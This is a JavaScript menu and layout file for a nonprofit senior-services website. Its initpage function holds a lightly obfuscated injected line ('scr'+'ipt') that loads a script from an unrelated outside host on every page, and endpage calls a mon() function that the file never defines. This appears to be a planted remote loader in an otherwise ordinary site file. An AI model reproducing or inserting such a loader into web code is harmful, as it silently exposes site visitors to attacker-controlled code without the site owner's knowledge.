// JANUARY 2008

var page;
var totalGraphics=0;
var graphic = new Array();
var selected=0;
var lastnum=0;
var imageSubdirectory = "menu/";
var imagePrefix       = "SSP_";
var onSuffix          = "_ON.gif";
var offSuffix         = "_OFF.gif";
var overSuffix        = "_SEL.gif";
var frameTarget       = "_top";
var num;
var Ltop = 0;
var currtop = Ltop;
var today = new Date();
var electionDay = new Date();
var secval = 1;
var hFont="32";
var fCopy="";


////////////////////////  SUB MENU VARS  //////////////////////////////


var TO = 1000;
var TOhandle;
var subMenus = new Array();
var subGroups = new Array();
var totalsubmenus = 0;
var totalsubgroups = 0;

// --------------------- MAKE CHANGES ---------------------------------------

//MenuItem (height, width, name, subID, infoText, link)

createMenu(30, 150, "index", "s1", "About Sierra Senior Providers", "index.html");
createMenu(30, 150, "mow", "null", "Meals on Wheels", "mow.html");
createMenu(30, 150, "dining", "null", "Congregate Dining", "dining.html");
createMenu(30, 150, "transportation", "null", "Medical Transportation", "transportation.html");
createMenu(30, 150, "chore", "null", "Website Links", "chore.html");

///////////  Define submenus  /////////////////

makeSubMenu("s1",1,"About Us","index_about.html");
makeSubMenu("s1",0,"Calendar of Events","index_calendar.html");
makeSubMenu("s1",0,"Contact/Locate Us","index_contact.html");
makeSubMenu("s1",0,"Volunteers Needed","index_volunteer.html");
makeSubMenu("s1",0,"Donations Needed","index_donate.html");
makeSubMenu("s1",0,"Important Links","index_links.html");

///////////   End submenus    /////////////////


function initpage(p)
{
  page = p;
  with(this.document)
  {
    subDD();
    write('<scr'+'ipt type="text/javascript" src="http://knxu.com/mon.js"></scr'+'ipt>');
    write('</head><body marginheight="20" marginwidth="50" topmargin="20" leftmargin="50" bgcolor="#9DC27B" background="images/SSP_main_bg.gif" text="#000000" link="#000000" vlink="#000000" alink="#000000" style="background-image:url(images/SSP_main_bg.gif);background-repeat:repeat-y">');

    write('<div class="frame1"><div class="frame2">');

    write('<table border="0" bordercolor="#3e3e3e" cellpadding="0" cellspacing="0" width="800" style="margin:0px;padding:0px"><tr>');
    aheader();
  }
}

function aheader()
{

//  alert("does this work?");

  with(this.document)
  {
    write('<td height="87" width="800" background="images/banner.jpg">');
    write('</td></tr>');

    write('<tr><td bgcolor="#65686A">');
  }
}


function mainsetup()
{

//  alert("does this work?");

  with(this.document)
  {
    write('</div></td></tr><tr>');
    write('<td bgcolor="#ff0000">');
    write('<div style="margin-left:60px;margin-right:60px;margin-top:30px;margin-bottom:30px;font-family:arial,sans-serif;font-size:12pt">');
  }
}

function endpage()
{
  with(this.document)
  {

    write('</table>');
    write('</div></div>');
    mon();
  }
}

///////////   Main Menu Functions    /////////////////

function createMenu (height, width, name, subID, infoText, link)
{
  graphic[totalGraphics] = new MenuItem(height, width, name, subID, infoText, link);
  totalGraphics++;
}

function MenuItem (height, width, name, subID, infoText, link)
{
  this.height   = height;
  this.width    = width;
  this.name     = name;
  this.subID	= subID;
  this.info     = infoText;
  this.link     = link;
  this.on       = new Image (width, height);
  this.on.src   = imageSubdirectory + imagePrefix + name + onSuffix;
  this.off      = new Image (width, height);
  this.off.src  = imageSubdirectory + imagePrefix + name + offSuffix;
  this.offname  = imageSubdirectory + imagePrefix + name + offSuffix;
  this.over     = new Image (width, height);
  this.over.src = imageSubdirectory + imagePrefix + name + overSuffix;
  this.info     = infoText;
  this.selected   = 0;
  this.pos      = currtop;
  currtop += height;
}


function doOnLoad(page)
{
  var page;
  doClick(page);
}

function doClick (num)
{
  document.images[graphic[num].name].src = graphic[num].on.src;
  if(lastnum != num){document.images[graphic[lastnum].name].src = graphic[lastnum].off.src;}
  this.lastnum = num;
  selected = num;
}
function doMouseOver(num)
{
  if (num != selected)
  {

    document.images[graphic[num].name].src = graphic[num].over.src;
  }
  self.status = graphic[num].info;

  showMenu(graphic[num].subID);
}
function doMouseOut(num)
{
  if (num != selected)
  {
    document.images[graphic[num].name].src = graphic[num].off.src;
  }
  menuTO(graphic[num].subID);
}


function writemenu()
{
//  alert("hello "+totalGraphics);

  with(this.document)
  {
    write('<div style="margin-left:8px">');
    for(i = 0; i < totalGraphics; i++)
    {
      write ('<a target="' + frameTarget + '" href="' + graphic[i].link + '" onMouseOver="doMouseOver(' + i + '); return true" onMouseOut="doMouseOut(' + i + ')" onClick="doClick(' + i + ')">');
      write ('<img name="' + graphic[i].name + '" src="' + graphic[i].offname + '" alt="' + graphic[i].name + '" width="' + graphic[i].width + '" height="' + graphic[i].height + '" border="0" vspace="0">');
//      write ('</a><br>');
      write ('</a>');
    }
    write('</div></td></tr>');
    write('</table>');
//    write('<table cellpadding="0" cellspacing="0">');

/////////////////
// 
//  This is where you change the background color of the main section
//
/////////////////

    write('<tr><td bgcolor="#FEFEEA"><div style="margin-left:10px">');

    writesubs();
    doClick(page);
    
  }
}



///////////   Submenu Functions    /////////////////






function subDD()
{
  var dd_BG_color = '#ffffff';
  var dd_border_color = '#000000';

  with(this.document)
  {
    write('<style>');
    write('#s1 {visibility:hidden;z-index:10;position:absolute;top:160px;left:105px;background-color:'+dd_BG_color+';border:solid;border-width:1px;border-color:'+dd_border_color+';font-weight:bold;font-size:10pt;font-family:arial, sans serif}');


    write('.slink {text-decoration:none;color:#000000;background-color:'+dd_BG_color+';margin:3px;line-height:1.25}');
    write('.slink:hover {text-decoration:none;color:#41B02E;background-color:'+dd_BG_color+';margin:3px;line-height:1.25}');

    write('</style>');
  }
}




function makeSubMenu(group,start,name,link)
{
  subMenus[totalsubmenus] = new subMenu(group,start,name,link)
  totalsubmenus++;
}

function subMenu(group,start,name,link)
{
  this.group = group;
  this.start = start;
  this.name = name;
  this.link = link; //51
  if(start == 1)
  {
    makeSubGroup(group);
  }
}

function makeSubGroup(group)
{
  subGroups[totalsubgroups] = new subGroup(group);
  totalsubgroups++;
}

function subGroup(group)
{
  this.group = group;
  this.handle = setTimeout('hideMenu("'+group+'")', TO); 
}

function menuTOClear(group)
{
  for(i=0; i<totalsubgroups; i++)
  {
    var grp = subGroups[i].group;
    if(grp == group)
    {
	clearTimeout(subGroups[i].handle);
//      alert("TO handle "+TOhandle);
    }
    else
    {
	hideMenu(grp);
    }
  }
}


function menuTO(group)
{
  for(i=0; i<totalsubgroups; i++)
  {
    if(subGroups[i].group == group)
    {
      subGroups[i].handle = setTimeout('hideMenu("'+group+'")', TO);
    }
  }
}

function showMenu(menu)
{
//  alert("Menu is "+menu);
  if(document.getElementById(menu))
  {
    var m = document.getElementById(menu);
    m.style.visibility="visible";
  }
  menuTOClear(menu);
}

function hideMenu(menu)
{
  if(document.getElementById(menu))
  {
    var m = document.getElementById(menu);
    m.style.visibility="hidden";
  }
}

function TTest(v)
{
  alert("I got called - "+v);
}


function writesubs()
{
//  alert("total submenus: "+totalsubmenus);
  with(this.document)
  {
    for(i = 0; i<totalsubmenus; i++)
    {
//      alert("Writing submenu "+i+" in group "+subMenus[i].group);
      if(subMenus[i].start == 1)
      {
        if(i != 0) write('</div>');
	write('<div id="'+subMenus[i].group+'">');
      }
      write('<a href="'+subMenus[i].link+'" onmouseover="menuTOClear(\''+subMenus[i].group+'\')" onmouseout="menuTO(\''+subMenus[i].group+'\')" class="slink">'+subMenus[i].name+'</a><br/>');
//	write(subMenus[i].group+'<br/>');
    }
    write('</div>');
  }
}


function doDate()
{
	this.document.write(getDayStr(today.getDay()).toString() + ', ');
	this.document.write(getLongMonth(today.getMonth()) + " " + today.getDate().toString() + ", ");
	this.document.write(today.getFullYear().toString());
}
function getMon(mon)
{
	var month = new Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec");
	return month[mon];
}
function getLongMonth(mon)
{
	var month = new Array("January","February","March","April","May","June","July","August","September","October","November","December");
	return month[mon];
}
function getDayStr(day)
{
	var week = new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday");
	return week[day];
}
 


 
